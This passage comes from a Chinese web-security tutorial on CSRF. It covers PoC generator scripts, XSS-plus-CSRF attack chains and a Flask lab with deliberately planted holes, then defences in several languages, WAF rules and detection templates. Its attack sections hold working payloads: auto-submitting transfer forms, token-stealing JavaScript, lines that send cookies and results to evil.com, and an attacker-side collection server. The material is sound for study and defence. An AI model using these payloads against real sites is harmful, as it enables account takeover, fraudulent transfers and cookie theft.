| CSRF POC Generator | 自动生成CSRF PoC | 右键菜单 -> Engagement tools -> Generate CSRF POC |
| Engagement Tools | 生成各种攻击PoC | 右键菜单 -> Engagement tools |
| Repeater | 手动修改请求测试Token | 修改请求重发 |
| Intruder | 批量测试Token有效性 | 设置payload字典 |
| Scanner Pro | 自动扫描CSRF漏洞 | Active Scan |
| Logger++ | 记录所有请求响应 | 扩展插件 |
Burp生成CSRF POC的操作流程:
Burp生成的CSRF POC示例:
<html>
<!– CSRF PoC – generated by Burp Suite –>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
8.2 CSRF Tester使用
OWASP CSRF Tester是一个专门用于CSRF测试的工具:
| 请求捕获 | 代理捕获浏览器请求 |
| POC生成 | 自动生成HTML PoC |
| 参数修改 | 修改请求参数 |
| 批量测试 | 测试多个请求 |
| Token检测 | 自动识别Token参数 |
8.3 自定义CSRF扫描脚本
以下Python脚本用于自动化检测CSRF漏洞:
#!/usr/bin/env python3
"""
CSRF漏洞自动扫描脚本
功能:分析HTTP请求,检测是否存在CSRF防护
"""
import requests
from urllib.parse import urlparse, parse_qs
import re
class CSRFScanner:
def __init__(self, target_url, session_cookie):
self.target_url = target_url
self.session = requests.Session()
self.session.cookies.update({"session": session_cookie})
self.results = []
def analyze_request(self, method="GET", params=None, data=None, headers=None):
"""分析请求是否存在CSRF防护"""
findings = {
"url": self.target_url,
"method": method,
"has_csrf_token": False,
"token_location": None,
"checks_origin": False,
"checks_referer": False,
"samesite_cookie": False,
"vulnerable": False,
"risk_level": "Unknown"
}
# 发送初始请求
resp = self.session.request(
method, self.target_url,
params=params, data=data, headers=headers
)
# 检查1:CSRF Token
token_patterns = [
r'csrf[_-]?token',
r'authenticity[_-]?token',
r'__requestverificationtoken',
r'csrf[_-]?key',
r'XSRF[_-]?TOKEN',
r'_token',
r'nonce'
]
# 在请求参数中检查Token
all_params = {}
if params:
all_params.update(params)
if data:
all_params.update(data)
for key in all_params:
for pattern in token_patterns:
if re.search(pattern, key, re.IGNORECASE):
findings["has_csrf_token"] = True
findings["token_location"] = f"参数: {key}"
break
# 在HTML响应中检查Token
token_in_html = False
for pattern in token_patterns:
if re.search(pattern, resp.text, re.IGNORECASE):
token_in_html = True
findings["token_location"] = "HTML隐藏域"
break
# 检查2:Origin/Referer验证
# 发送不带Referer的请求
resp_no_ref = self.session.request(
method, self.target_url,
params=params, data=data,
headers={"Referer": ""}
)
# 发送带恶意Referer的请求
resp_evil_ref = self.session.request(
method, self.target_url,
params=params, data=data,
headers={"Referer": "http://evil.com/csrf"}
)
if resp.status_code == 200 and resp_no_ref.status_code == 403:
findings["checks_referer"] = True
if resp.status_code == 200 and resp_evil_ref.status_code == 403:
findings["checks_origin"] = True
# 检查3:SameSite Cookie
for cookie in self.session.cookies:
if cookie.name == "session" or "auth" in cookie.name.lower():
if cookie.has_nonstandard_attr('samesite'):
findings["samesite_cookie"] = True
# 综合判断漏洞
if not findings["has_csrf_token"] and not findings["checks_origin"] and not findings["checks_referer"]:
findings["vulnerable"] = True
findings["risk_level"] = "高危"
elif findings["has_csrf_token"] and not findings["checks_origin"]:
findings["risk_level"] = "中危(Token可绕过)"
else:
findings["risk_level"] = "低危"
self.results.append(findings)
return findings
def generate_poc(self, method, data):
"""生成CSRF PoC HTML"""
form_fields = ""
for key, value in (data or {}).items():
form_fields += f' <input type="hidden" name="{key}" value="{value}">\\n'
poc = f"""<!DOCTYPE html>
<html>
<head><title>Loading…</title></head>
<body>
<form id="csrf_form" action="{self.target_url}" method="{method}">
{form_fields} </form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>"""
return poc
def report(self):
"""输出扫描报告"""
print("\\n" + "=" * 60)
print("CSRF漏洞扫描报告")
print("=" * 60)
for r in self.results:
print(f"\\nURL: {r['url']}")
print(f"方法: {r['method']}")
print(f"CSRF Token: {'有' if r['has_csrf_token'] else '无'} ({r['token_location']})")
print(f"Origin验证: {'有' if r['checks_origin'] else '无'}")
print(f"Referer验证: {'有' if r['checks_referer'] else '无'}")
print(f"SameSite Cookie: {'有' if r['samesite_cookie'] else '无'}")
print(f"漏洞状态: {'存在CSRF' if r['vulnerable'] else '可能有防护'}")
print(f"风险等级: {r['risk_level']}")
# 使用示例
if __name__ == "__main__":
scanner = CSRFScanner(
target_url="http://target-site.com/api/profile",
session_cookie="your_session_cookie_here"
)
scanner.analyze_request(
method="POST",
data={"username": "test", "email": "test@test.com"}
)
scanner.report()
# 生成PoC
poc_html = scanner.generate_poc("POST", {"username": "hacked", "email": "h@evil.com"})
with open("csrf_poc.html", "w") as f:
f.write(poc_html)
print("\\n[+] PoC已保存到 csrf_poc.html")
8.4 PoC生成器编写
通用的CSRF PoC生成器,支持GET和POST类型:
#!/usr/bin/env python3
"""
通用CSRF PoC生成器
支持GET、POST、JSON格式
"""
import json
import argparse
def generate_get_poc(url, params=None):
"""生成GET型CSRF PoC"""
if params:
query = "&".join(f"{k}={v}" for k, v in params.items())
full_url = f"{url}?{query}" if "?" not in url else f"{url}&{query}"
else:
full_url = url
return f"""<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>页面加载中</title></head>
<body>
<img src="{full_url}" style="display:none;">
<script>new Image().src="{full_url}&_t="+Date.now();</script>
</body>
</html>"""
def generate_post_poc(url, data=None):
"""生成POST型CSRF PoC"""
fields = ""
if data:
for k, v in data.items():
fields += f' <input type="hidden" name="{k}" value="{v}">\\n'
return f"""<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>页面加载中</title></head>
<body>
<form id="f" action="{url}" method="POST" target="h">
{fields} </form>
<iframe name="h" style="display:none;"></iframe>
<script>document.getElementById('f').submit();</script>
</body>
</html>"""
def generate_json_poc(url, json_data=None):
"""生成JSON型CSRF PoC(text/plain方式)"""
payload = json.dumps(json_data) if isinstance(json_data, dict) else json_data
# 利用text/plain编码拼接JSON
name_part = payload[:–1] + ',"padding":"'
value_part = 'padding"}'
return f"""<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>页面加载中</title></head>
<body>
<form id="f" action="{url}" method="POST" enctype="text/plain">
<input type="hidden" name='{name_part}' value='{value_part}'>
</form>
<iframe name="h" style="display:none;"></iframe>
<script>document.getElementById('f').submit();</script>
</body>
</html>"""
def main():
parser = argparse.ArgumentParser(description="CSRF PoC生成器")
parser.add_argument("-u", "–url", required=True, help="目标URL")
parser.add_argument("-m", "–method", default="POST", choices=["GET", "POST", "JSON"])
parser.add_argument("-d", "–data", help="请求数据(key=value格式,多个用&分隔)")
parser.add_argument("-o", "–output", default="csrf_poc.html", help="输出文件")
args = parser.parse_args()
# 解析参数
params = {}
if args.data:
for pair in args.data.split("&"):
if "=" in pair:
k, v = pair.split("=", 1)
params[k] = v
if args.method == "GET":
poc = generate_get_poc(args.url, params)
elif args.method == "POST":
poc = generate_post_poc(args.url, params)
else:
poc = generate_json_poc(args.url, params)
with open(args.output, "w", encoding="utf-8") as f:
f.write(poc)
print(f"[+] {args.method}型CSRF PoC已生成: {args.output}")
if __name__ == "__main__":
main()
九、CSRF与XSS组合攻击
9.1 XSS窃取Token后CSRF利用
当目标站点同时存在XSS和CSRF防护(Token)时,攻击者可以通过XSS窃取CSRF Token,然后构造有效的CSRF请求:
/*
* XSS窃取CSRF Token并执行CSRF
* 前提:目标页面存在XSS漏洞
*/
// 方式1:从DOM中提取Token
function stealTokenFromDOM() {
// 从meta标签获取
var meta = document.querySelector('meta[name="csrf-token"]');
if (meta) return meta.getAttribute('content');
// 从隐藏表单域获取
var input = document.querySelector('input[name="csrf_token"]');
if (input) return input.value;
// 从全局变量获取
if (window.csrfToken) return window.csrfToken;
return null;
}
// 方式2:从Cookie获取Double Submit Cookie
function stealTokenFromCookie() {
var match = document.cookie.match(/(?:^|;\\s*)XSRF-TOKEN=([^;]+)/);
return match ? decodeURIComponent(match[1]) : null;
}
// 使用窃取的Token发起CSRF
function executeCSRFWithToken(token) {
var form = document.createElement('form');
form.action = '/api/transfer';
form.method = 'POST';
var inputs = {
'to': 'attacker_account',
'amount': '10000',
'csrf_token': token // 使用窃取的Token
};
for (var name in inputs) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = inputs[name];
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
}
// 执行攻击链
var token = stealTokenFromDOM() || stealTokenFromCookie();
if (token) {
executeCSRFWithToken(token);
}
9.2 XSS写入CSRF PoC自动提交
XSS可以直接在同源页面中构造CSRF PoC,由于是同源请求,天然绕过所有CSRF防御:
/*
* XSS在同源页面直接构造请求
* 由于是同源,不需要绕过CSRF Token
* 但如果Token是per-request的,仍需先获取
*/
// 使用fetch发起同源请求(自动携带Cookie和Token)
async function sameOriginCSRF() {
// 获取当前页面的CSRF Token
var token = document.querySelector('meta[name="csrf-token"]')?.content;
// 发起转账请求
var response = await fetch('/api/transfer', {
method: 'POST',
credentials: 'include', // 同源自动携带Cookie
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token // 携带正确的Token
},
body: JSON.stringify({
to: 'attacker_account',
amount: 50000,
currency: 'CNY'
})
});
var result = await response.json();
// 将结果外传到攻击者服务器
new Image().src = 'http://evil.com/collect?data=' +
encodeURIComponent(JSON.stringify(result));
}
sameOriginCSRF();
9.3 XSS+CSRF组合链式利用
完整的组合攻击链:
| 阶段1 | XSS注入 | 获取在目标站点执行JS的能力 |
| 阶段2 | Token窃取 | 从DOM/Cookie获取CSRF Token |
| 阶段3 | CSRF执行 | 以受害者身份执行敏感操作 |
| 阶段4 | 数据外传 | 将窃取的数据发送到攻击者服务器 |
| 阶段5 | 持久化 | 修改密码/绑定邮箱实现持久控制 |
9.4 Bypass CSP通过CSRF
当目标站点部署了CSP(内容安全策略)限制XSS时,攻击者可利用CSRF绕过CSP:
/*
* CSP限制内联脚本和外部源
* 但CSRF是表单提交,不受CSP限制
* 利用CSRF让浏览器自动提交表单到攻击者控制的域
* 从而将数据外传(form-action不受CSP script-src限制)
*/
// 如果CSP不允许fetch到外部域
// 但form action可能未被CSP限制
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://evil.com/collect'; // 数据外传目标
// 将要窃取的数据作为表单字段
var input = document.createElement('input');
input.name = 'stolen_data';
input.value = document.cookie; // 或其他敏感数据
form.appendChild(input);
document.body.appendChild(form);
form.submit(); // 浏览器自动提交,不受CSP script-src限制
9.5 完整组合攻击链
#!/usr/bin/env python3
"""
XSS+CSRF组合攻击链 – 服务端接收器
部署在攻击者服务器上,接收窃取的数据和Token
"""
from flask import Flask, request, jsonify
import json
import datetime
app = Flask(__name__)
collected_data = []
@app.route('/collect', methods=['GET', 'POST'])
def collect():
"""接收窃取的数据"""
data = {
"timestamp": datetime.datetime.now().isoformat(),
"ip": request.remote_addr,
"user_agent": request.headers.get('User-Agent', ''),
"referer": request.headers.get('Referer', ''),
"data": request.get_data(as_text=True) or dict(request.args) or dict(request.form)
}
collected_data.append(data)
print(f"[+] 收到数据: {json.dumps(data, ensure_ascii=False)}")
return "OK"
@app.route('/tokens', methods=['POST'])
def receive_token():
"""接收窃取的CSRF Token"""
token = request.form.get('token')
cookie = request.form.get('cookie')
print(f"[+] CSRF Token: {token}")
print(f"[+] Cookie: {cookie}")
# 立即利用Token发起CSRF
# 此处可集成自动化的CSRF利用逻辑
return jsonify({"status": "received", "token": token}))
@app.route('/dashboard')
def dashboard():
"""查看收集的数据"""
return json.dumps(collected_data, ensure_ascii=False, indent=2)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=True)
十、CSRF防御方案
10.1 CSRF Token方案
CSRF Token是防御CSRF最有效的方案,主要有两种实现模式:
Synchronizer Token Pattern(同步令牌模式):
服务端为每个会话生成一个随机Token,存储在服务端Session中。每次表单提交时,客户端将Token作为隐藏域提交,服务端比对Session中的Token与提交的Token是否一致。
# Python Flask – Synchronizer Token实现
import secrets
from flask import Flask, session, render_template, request, abort
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
def generate_csrf_token():
"""生成CSRF Token并存储在Session中"""
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return session['csrf_token']
@app.route('/form')
def show_form():
token = generate_csrf_token()
return render_template('form.html', csrf_token=token)
@app.route('/submit', methods=['POST'])
def submit():
# 验证CSRF Token
token = request.form.get('csrf_token')
if not token or token != session.get('csrf_token'):
abort(403, description='CSRF Token验证失败')
# 处理业务逻辑
return '操作成功'
# 在模板中注入Token
@app.context_processor
def inject_csrf_token():
return dict(csrf_token=generate_csrf_token)
Double Submit Cookie Pattern(双重提交Cookie模式):
Token同时以Cookie和请求参数的形式发送,服务端只需要比对两者是否一致,无需在Session中存储。
// 前端 – Double Submit Cookie实现
function getCSRFCookie() {
var match = document.cookie.match(/csrf_token=([^;]+)/);
return match ? match[1] : null;
}
function setCSRFCookie() {
var token = generateRandomToken();
document.cookie = 'csrf_token=' + token + '; path=/; SameSite=Strict';
return token;
}
// 为所有AJAX请求自动添加Token
function ajaxRequest(url, data) {
var token = getCSRFCookie();
return fetch(url, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token // 请求头携带Token
},
body: JSON.stringify(data)
});
}
10.2 SameSite Cookie配置
SameSite属性是浏览器层面的CSRF防御,以下是各级别的配置:
| Strict | 最高 | Set-Cookie: session=xxx; SameSite=Strict | 纯敏感操作(银行) |
| Lax | 中高 | Set-Cookie: session=xxx; SameSite=Lax | 大多数Web应用 |
| None | 无 | Set-Cookie: session=xxx; SameSite=None; Secure | 第三方Cookie场景 |
各语言的SameSite配置:
// PHP – 设置SameSite
setcookie('session', $token, [
'expires' => time() + 3600,
'path' => '/',
'domain' => '.example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax' // 或 'Strict'
]);
// Java – Spring Boot配置SameSite
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("SESSION");
serializer.setSameSite("Lax"); // 设置SameSite
serializer.setUseHttpOnlyCookie(true);
serializer.setUseSecureCookie(true);
return serializer;
}
// Go – 设置SameSite
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: token,
Path: "/",
Domain: ".example.com",
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteLaxMode, // SameSite=Lax
})
10.3 Referer验证方案
# Python – Referer验证中间件
from urllib.parse import urlparse
from flask import request, abort
ALLOWED_REFERER_HOSTS = {'example.com', 'www.example.com'}
def verify_referer():
"""验证Referer是否来自可信源"""
referer = request.headers.get('Referer')
if not referer:
# 可配置是否允许空Referer
if request.method == 'POST':
abort(403, 'Missing Referer header')
return True
parsed = urlparse(referer)
if parsed.hostname not in ALLOWED_REFERER_HOSTS:
abort(403, 'Invalid Referer')
# 检查协议
if parsed.scheme != 'https':
abort(403, 'Insecure Referer')
return True
10.4 Origin头验证
# Python – Origin头验证(比Referer更可靠)
def verify_origin():
"""验证Origin头"""
origin = request.headers.get('Origin')
# 对于同源请求,Origin可能不存在(部分浏览器对同源GET不发送Origin)
# 但跨域POST请求一定会发送Origin
if request.method in ('POST', 'PUT', 'DELETE', 'PATCH'):
if not origin:
abort(403, 'Missing Origin header')
parsed = urlparse(origin)
if parsed.hostname not in ALLOWED_REFERER_HOSTS:
abort(403, 'Invalid Origin')
return True
10.5 自定义请求头验证
// 前端 – 为所有AJAX请求添加自定义头
// 浏览器在跨域简单请求中不会添加自定义头
// 因此自定义头可作为CSRF标志
// 使用axios拦截器
axios.interceptors.request.use(config => {
config.headers['X-Requested-With'] = 'XMLHttpRequest';
return config;
});
// 使用fetch封装
function secureFetch(url, options = {}) {
options.credentials = 'include';
options.headers = options.headers || {};
options.headers['X-Requested-With'] = 'XMLHttpRequest';
return fetch(url, options);
}
# 后端 – 验证自定义头
@app.before_request
def verify_custom_header():
if request.method in ('POST', 'PUT', 'DELETE', 'PATCH'):
if not request.headers.get('X-Requested-With'):
abort(403, 'Missing custom header')
10.6 CAPTCHA验证
对于最高安全级别的操作(如大额转账),应使用CAPTCHA作为二次验证:
<!– 前端 – 集成reCAPTCHA –>
<form action="/api/transfer" method="POST">
<input type="hidden" name="to" value="">
<input type="number" name="amount" value="">
<!– reCAPTCHA v3(无感验证) –>
<input type="hidden" name="recaptcha_response" id="recaptcha">
<button type="submit">确认转账</button>
</form>
<script src="https://www.google.com/recaptcha/api.js"></script>
<script>
grecaptcha.ready(function() {
grecaptcha.execute('SITE_KEY', {action: 'transfer'}).then(function(token) {
document.getElementById('recaptcha').value = token;
});
});
</script>
10.7 各语言防御代码示例
PHP防御示例:
<?php
// PHP CSRF防御完整方案
class CSRFProtection {
// 生成Token
public static function generateToken() {
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证Token
public static function verifyToken() {
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
$token = $_POST['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403);
die('CSRF验证失败');
}
}
// 输出隐藏域
public static function tokenField() {
$token = self::generateToken();
return '<input type="hidden" name="csrf_token" value="' . $token . '">';
}
}
// 使用
CSRFProtection::verifyToken();
echo CSRFProtection::tokenField();
Java Spring防御示例:
// Java Spring Boot – 启用CSRF防护
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.csrf()
.csrfTokenRepository(CookieCsrfTokenRepository.withCookieName("XSRF-TOKEN"))
.and()
.authorizeRequests()
.antMatchers("/public/**").permitAll()
.anyRequest().authenticated();
}
}
// 前端配合 – Angular自动处理XSRF-TOKEN
// Spring会自动在Cookie中设置XSRF-TOKEN
// Angular的HttpClient会自动读取并添加到X-XSRF-TOKEN头
Node.js Express防御示例:
// Node.js Express – 使用csurf中间件
const express = require('express');
const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const app = express();
app.use(cookieParser());
// CSRF防护中间件
const csrfProtection = csrf({
cookie: {
key: '_csrf',
httpOnly: true,
secure: true,
sameSite: 'strict'
}
});
// 为所有表单页面生成Token
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// 验证CSRF Token
app.post('/submit', csrfProtection, (req, res) => {
res.send('操作成功');
});
C# ASP.NET Core防御示例:
// ASP.NET Core – 配置CSRF
public void ConfigureServices(IServiceCollection services)
{
services.AddAntiforgery(options =>
{
options.HeaderName = "X-CSRF-TOKEN";
options.Cookie.Name = "AntiForgeryToken";
options.Cookie.SameSite = SameSiteMode.Strict;
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
});
services.AddControllersWithViews(options =>
{
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());
});
}
// Controller中手动验证
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Transfer(TransferModel model)
{
// Token已自动验证
return Ok("转账成功");
}
// API方式 – 从Header读取Token
[HttpPost]
public IActionResult ApiTransfer([FromBody] TransferDto dto)
{
// 自动验证Header中的Token
return Ok();
}
Go防御示例:
// Go – CSRF防护中间件
package main
import (
"crypto/rand"
"encoding/hex"
"net/http"
)
func generateCSRFToken() string {
b := make([]byte, 32)
rand.Read(b)
return hex.EncodeToString(b)
}
func csrfMiddleware(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
// 为GET请求设置Token
if r.Method == "GET" {
token := generateCSRFToken()
http.SetCookie(w, &http.Cookie{
Name: "csrf_token",
Value: token,
Path: "/",
Secure: true,
HttpOnly: false, // 前端需要读取
SameSite: http.SameSiteStrictMode,
})
next(w, r)
return
}
// 验证POST请求的Token
cookie, err := r.Cookie("csrf_token")
if err != nil {
http.Error(w, "CSRF Token缺失", http.StatusForbidden)
return
}
formToken := r.Header.Get("X-CSRF-Token")
if formToken == "" {
formToken = r.FormValue("csrf_token")
}
if cookie.Value != formToken || formToken == "" {
http.Error(w, "CSRF验证失败", http.StatusForbidden)
return
}
next(w, r)
}
}
10.8 WAF规则配置
ModSecurity WAF的CSRF防护规则:
# ModSecurity – CSRF防护规则
# 检测缺少CSRF Token的POST请求
SecRule REQUEST_METHOD "@streq POST" \\
"id:1001,phase:2,pass,nolog,chain"
SecRule ARGS:csrf_token "!@rx ^[a-f0-9]{64}$" \\
"id:1002,deny,status:403,msg:'CSRF Token缺失或格式错误'"
# 检测可疑的Referer
SecRule HTTP_REFERER "!@rx ^https://[a-z0-9.-]*example\\.com/" \\
"id:1003,phase:2,deny,status:403,msg:'CSRF可疑Referer',\\
severity:CRITICAL,log"
# 检测Origin头(对POST/PUT/DELETE)
SecRule REQUEST_METHOD "@rx ^(POST|PUT|DELETE|PATCH)$" \\
"id:1004,phase:2,chain,deny,status:403,msg:'CSRF可疑Origin'"
SecRule HTTP_ORIGIN "!@rx ^https://[a-z0-9.-]*example\\.com$"
# 防御CSRF蠕虫 – 检测批量请求
SecRule IP:CSRF_COUNT "@gt 10" \\
"id:1005,phase:2,deny,status:429,msg:'CSRF蠕虫疑似行为',\\
severity:CRITICAL"
SecRule REQUEST_URI "@rx /api/(transfer|password|email)"
十一、CSRF检测与测试
11.1 自动化检测工具
| Burp Suite Pro | 商业 | CSRF POC生成、自动扫描 | 功能强大、收费 |
| OWASP ZAP | 开源 | 自动CSRF检测 | 免费、准确率中等 |
| CSRF Tester | 开源 | 专用CSRF测试 | 专一但较旧 |
| Arachni | 开源 | Web漏洞扫描含CSRF | 已停止维护 |
| nuclei | 开源 | 模板化扫描 | 需自定义CSRF模板 |
| W3AF | 开源 | Web应用审计 | 功能全面但较慢 |
11.2 手动测试流程
| 1 | 登录目标站点 | 浏览器 | 获取有效会话 |
| 2 | 捕获敏感请求 | Burp Proxy | 分析请求参数 |
| 3 | 检查CSRF Token | 请求分析 | 是否有Token字段 |
| 4 | 生成PoC | Burp POC生成器 | 构造自动提交表单 |
| 5 | 在新标签页测试 | 浏览器 | 验证PoC是否成功 |
| 6 | 测试绕过 | 手动修改 | Token/Referer绕过 |
| 7 | 记录结果 | 测试报告 | 漏洞描述和修复建议 |
11.3 CSRF测试Checklist
| Token存在性 | 敏感操作是否有CSRF Token | 所有POST/PUT/DELETE有Token | 高 |
| Token随机性 | Token是否使用安全随机数生成 | 不可预测 | 高 |
| Token验证 | 服务端是否严格验证Token | 不一致时拒绝 | 高 |
| Token有效期 | Token是否有过期机制 | 限时有效 | 中 |
| Token一次性 | Token是否使用后失效 | 单次有效 | 中 |
| Referer检查 | 是否验证Referer来源 | 非可信源拒绝 | 中 |
| Origin检查 | 是否验证Origin头 | 跨域请求拒绝 | 中 |
| SameSite | Cookie是否设置SameSite | Lax或Strict | 高 |
| 自定义头 | 是否要求自定义请求头 | 跨域无法伪造 | 中 |
| GET安全 | 敏感操作是否使用POST | 不使用GET | 高 |
| 二次验证 | 高危操作是否有CAPTCHA | 需人工确认 | 低 |
11.4 常见漏洞模式识别
#!/usr/bin/env python3
"""
CSRF漏洞模式识别器
分析HTTP流量自动识别CSRF漏洞模式
"""
import re
class CSRFCPattern:
@staticmethod
def analyze(request_lines):
"""分析HTTP请求识别CSRF风险"""
risks = []
request_str = "\\n".join(request_lines)
# 模式1:GET请求执行敏感操作
if re.search(r'GET .*(delete|update|transfer|password|admin)', request_str, re.I):
risks.append({
"pattern": "GET型敏感操作",
"risk": "高危",
"description": "通过GET请求执行敏感操作,存在CSRF风险"
})
# 模式2:POST请求无Token
if "POST" in request_str:
has_token = bool(re.search(
r'(csrf|token|nonce|authenticity)', request_str, re.I))
if not has_token:
risks.append({
"pattern": "POST无CSRF Token",
"risk": "高危",
"description": "POST请求中未发现CSRF Token"
})
# 模式3:Cookie无SameSite
if re.search(r'Cookie:.*session', request_str, re.I):
if not re.search(r'SameSite', request_str, re.I):
risks.append({
"pattern": "Cookie缺少SameSite",
"risk": "中危",
"description": "会话Cookie未设置SameSite属性"
})
# 模式4:JSON API无Origin验证
if re.search(r'Content-Type:.*application/json', request_str, re.I):
if not re.search(r'Origin:', request_str, re.I):
risks.append({
"pattern": "JSON API缺少Origin验证",
"risk": "中危",
"description": "JSON API请求未验证Origin头"
})
return risks
11.5 完整检测方案
使用nuclei模板进行CSRF扫描:
# nuclei CSRF检测模板
id: csrf–detection
info:
name: CSRF Vulnerability Detection
author: security–team
severity: high
http:
– raw:
– |
POST /api/profile HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: {{session_cookie}}
name=test&email=test@test.com
matchers:
– type: status
status:
– 200
negative: true # 如果没有Token也返回200,说明存在CSRF
– type: word
words:
– "csrf"
– "token"
– "forbidden"
condition: or
negative: true
extractors:
– type: regex
regex:
– 'csrf[_-]?token["\\s:=]+([a-zA-Z0-9_-]+)'
十二、靶场实战:完整CSRF攻击链
12.1 靶场环境搭建
使用Docker快速搭建CSRF靶场:
# docker-compose.yml – CSRF靶场环境
version: '3.8'
services:
dvwa:
image: vulnerables/web–dvwa
ports:
– "8081:80"
environment:
– MYSQL_HOST=dvwa–db
depends_on:
– dvwa–db
dvwa-db:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: dvwa
MYSQL_DATABASE: dvwa
webgoat:
image: webgoat/webgoat
ports:
– "8082:8080"
– "9001:9001"
csrf-lab:
image: python:3.11–slim
ports:
– "8083:5000"
volumes:
– ./csrf–lab:/app
command: python /app/app.py
自建CSRF靶场(Python Flask):
#!/usr/bin/env python3
"""
CSRF靶场 – 包含5种不同类型的CSRF漏洞场景
用于安全学习和攻防演练
"""
from flask import Flask, request, session, render_template_string, redirect, url_for, jsonify
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
# 模拟数据库
users_db = {}
posts_db = {}
config_db = {"debug": False, "maintenance": False}
# 登录装饰器
def login_required(f):
def wrapper(*args, **kwargs):
if 'user' not in session:
return redirect('/login')
return f(*args, **kwargs)
wrapper.__name__ = f.__name__
return wrapper
# 场景1:GET型CSRF – 修改密码
@app.route('/pwd/change')
@login_required
def change_password():
new_pwd = request.args.get('new_password', '')
users_db[session['user']]['password'] = new_pwd
return '密码修改成功'
# 场景2:POST型CSRF – 转账(无Token)
@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
to = request.form.get('to', '')
amount = request.form.get('amount', 0)
return f'转账{amount}元到{to}成功'
# 场景3:POST型CSRF – 发帖(有Token但可绕过)
@app.route('/post/create', methods=['POST'])
@login_required
def create_post():
token = request.form.get('csrf_token', '')
# 故意留下的漏洞:Token为空时跳过验证
if token == '' or token == 'null':
pass # 跳过验证
elif token != session.get('csrf_token'):
return 'CSRF验证失败', 403
content = request.form.get('content', '')
posts_db[len(posts_db)] = {'user': session['user'], 'content': content}
return '发帖成功'
# 场景4:JSON型CSRF – 修改配置
@app.route('/api/config', methods=['POST'])
@login_required
def update_config():
# 故意不检查Content-Type和Origin
import json
try:
data = request.get_json(force=True, silent=True) or dict(request.form)
config_db.update(data)
return jsonify({"status": "success", "config": config_db})
except Exception:
return jsonify({"status": "error"}), 400
# 场景5:Referer验证可绕过
@app.route('/email/change', methods=['POST'])
@login_required
def change_email():
referer = request.headers.get('Referer', '')
# 故意留下的漏洞:Referer检查包含关键词即可
if 'target' in referer or referer == '':
email = request.form.get('email', '')
users_db[session['user']]['email'] = email
return '邮箱修改成功'
return 'Referer验证失败', 403
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
12.2 从发现到利用的完整流程
以下逐步演示5种不同类型CSRF场景的完整利用过程:
场景1:GET型CSRF – 修改密码
| 发现 | 访问修改密码功能 | 发现通过GET请求修改密码 |
| 确认 | 抓包分析 | 无Token、无二次验证 |
| 构造 | 生成img标签PoC | <img src="/pwd/change?new_password=hack123"> |
| 利用 | 部署PoC页面 | 诱导用户访问 |
| 验证 | 检查密码是否修改 | 使用新密码登录成功 |
场景2:POST型CSRF – 转账
| 发现 | 测试转账功能 | POST请求无CSRF Token |
| 确认 | 跨域提交表单 | 服务端正常处理 |
| 构造 | 自动提交表单PoC | 隐藏表单+iframe+JS |
| 利用 | 发送钓鱼链接 | 用户打开后自动转账 |
| 验证 | 检查账户余额 | 金额已转出 |
场景3:POST型CSRF – 发帖(Token绕过)
| 发现 | 发帖需要Token | 存在csrf_token字段 |
| 测试绕过 | 删除Token提交 | 服务端空值跳过验证 |
| 构造 | 不带Token的PoC | 表单中不包含csrf_token |
| 利用 | 诱导用户访问 | 自动以用户身份发帖 |
| 验证 | 检查帖子是否发布 | 帖子已发布成功 |
场景4:JSON型CSRF – 修改配置
| 发现 | 配置API接受JSON | Content-Type为application/json |
| 测试 | 尝试表单格式提交 | 服务端force=True可解析 |
| 构造 | text/plain伪JSON PoC | 利用enctype构造JSON |
| 利用 | 诱导用户访问 | 自动修改配置 |
| 验证 | 检查配置是否变更 | debug模式被开启 |
场景5:Referer绕过 – 修改邮箱
| 发现 | 修改邮箱验证Referer | 检查Referer包含关键词 |
| 测试绕过 | 构造含关键词的Referer | 注册target.evil.com域名 |
| 构造 | 部署在绕过域名的PoC | 表单自动提交 |
| 利用 | 诱导用户访问 | 自动修改邮箱 |
| 验证 | 检查邮箱是否修改 | 邮箱已被改为攻击者控制 |
十三、总结与参考资源
13.1 CSRF检查清单
| 1 | 所有状态变更操作使用POST/PUT/DELETE | – | 高 |
| 2 | 所有表单包含CSRF Token | – | 高 |
